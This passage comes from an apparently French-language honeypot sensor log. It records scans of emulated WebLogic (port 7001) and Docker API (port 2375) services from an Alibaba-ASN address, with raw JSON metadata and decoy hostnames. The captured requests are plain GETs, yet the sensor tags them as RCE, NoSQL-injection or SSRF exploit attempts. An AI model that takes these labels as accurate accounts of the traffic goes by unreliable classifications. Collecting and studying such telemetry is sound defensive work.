"geo": 0, "protocol": 33, "novelty": 15 }, "risk_score": 48, "tag_count": 4, "anomaly_count": 0, "campaign_key": "d73dced9c6611387505bd9126e8c2645dbb9d588", "event_fingerprint": "4dd96f50766d2b06bfee68a725b495e68f55d96a", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 72, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 48, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "bd9ac6a4ffd0ed9a67ea2f172c57f379", "payload_hash": "f3c07c5219d341474f641031bc54c89c", "path_pattern_hash": "8a5edab282632443219e051e4ade2d1d" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 48 }, "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10\r\nAccept: \/", "method": "GET", "path": "\/", "user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10", "waf_tags": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path" ], "waf_rule_names": [ "rce-0", "nosqli-3", "sap-sapcontrol-path" ], "request_line": "GET \/ HTTP\/1.1", "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10\r\nAccept: \/", "evidence": { "method": "GET", "path": "\/", "user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10", "waf_tags": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path" ], "waf_rule_names": [ "rce-0", "nosqli-3", "sap-sapcontrol-path" ], "request_line": "GET \/ HTTP\/1.1", "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10\r\nAccept: \/", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "7dd2c2323b6dafd6f0496d26818ecb6314a8b346", "protocol_details": { "http_method": "GET", "http_path": "\/", "request_line": "GET \/ HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10\r\nAccept: \/", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 48\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 72, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 48, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 48, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/", "request_line": "GET \/ HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)", "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/3.6.10\r\nAccept: \/", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path", "net_web_probe" ] }
30/07/2026 21:49:21 UTC	TCP	2375 · DOCKER	docker	SSRF interne ssrf internal · via DOCKER:2375 · (tentative d'exploit)	Élevée	Moyen · 49
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET / HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, li Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54% Confiance classification 62% Corrélation +8 Risque capteur Moyen · 49 Confiance : Confiance 54 % — Motif catalogue confirmé Protocole émulé 1 Signaux CRS-920350 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) SSRF Any-address SSRF User-Agent — Règles WAF — Payload (extrait) GET / HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, li Requête brute (extrait) GET / HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 229, "payload_entropy": 5.368364141381366, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 80, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 80, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 49, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%", "confidence": 0.62, "classification_confidence": 0.62, "precision_score": 64, "precision_signals": [ "CRS-920350" ], "kb_rule_ids": [ "CRS-920350" ], "matched_patterns": [ "pat-0324" ], "matched_pattern_names": [ "SSRF Any-address SSRF" ], "pattern_ids": [ "pat-0324" ], "confidence_breakdown": { "waf": 8, "classification": 80, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 49, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "ssrf_attack", "service_name": "docker", "risk_confidence_factor": 54, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "6dc547284267f19cd1c2e5fcead4252b", "path_pattern_hash": "2926fa5ba65a298fe7630f4e1d1dd6ea" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 49 }, "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, li", "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, li", "evidence": { "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, li", "classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "8efe0ac06b3ac634d742f045ae44f74a40afb440", "protocol_details": { "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, li", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, li", "attack_vector": "ssrf internal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9", "site_display": { "classification": null, "classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%", "classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 49\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 62 % \u2014 via DOCKER \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 62, "confidence_breakdown": { "waf": 8, "classification": 80, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 49, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 49, "risk_label": "Moyen", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": [ "CRS-920350" ], "tags_summary_labels_fr": [ "CRS-920350" ], "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, li", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "ssrf internal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, li", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9", "confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:20 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /overview.asp HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1 Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /overview.asp HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1 Requête brute (extrait) GET /overview.asp HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 241, "payload_entropy": 5.3443833812940165, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "11c9c4e46cd1295f231926368022ede3", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1", "request_sample": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.5 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1", "evidence": { "request_sample": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.5 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "c793649cdc1adbccc13522acc5d63f5d13c80661", "protocol_details": { "payload_preview": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:20 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /overview.asp	Élevée	Moyen · 44
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /overview.asp UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100… Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 net_web_probe Cible HTTP GET /overview.asp TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /overview.asp Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 44 Confiance : Confiance 62 % — 2 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /overview.asp HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /overview.asp HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/2010010 Requête brute (extrait) GET /overview.asp HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 1, "http_path_ext": "asp", "http_ua_hash": "3861feff9037dc68a460b3ff5eae05ea7dbf8721", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "d28c85855dc2c2387e323ccd57d7eeba7a9ad64c", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 204, "payload_entropy": 5.26414908116824, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 60, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 15, "risk_boost": 0, "risk_granularity": 5.2, "risk_breakdown": { "waf": 60, "classification": 72, "behavior": 0, "geo": 0, 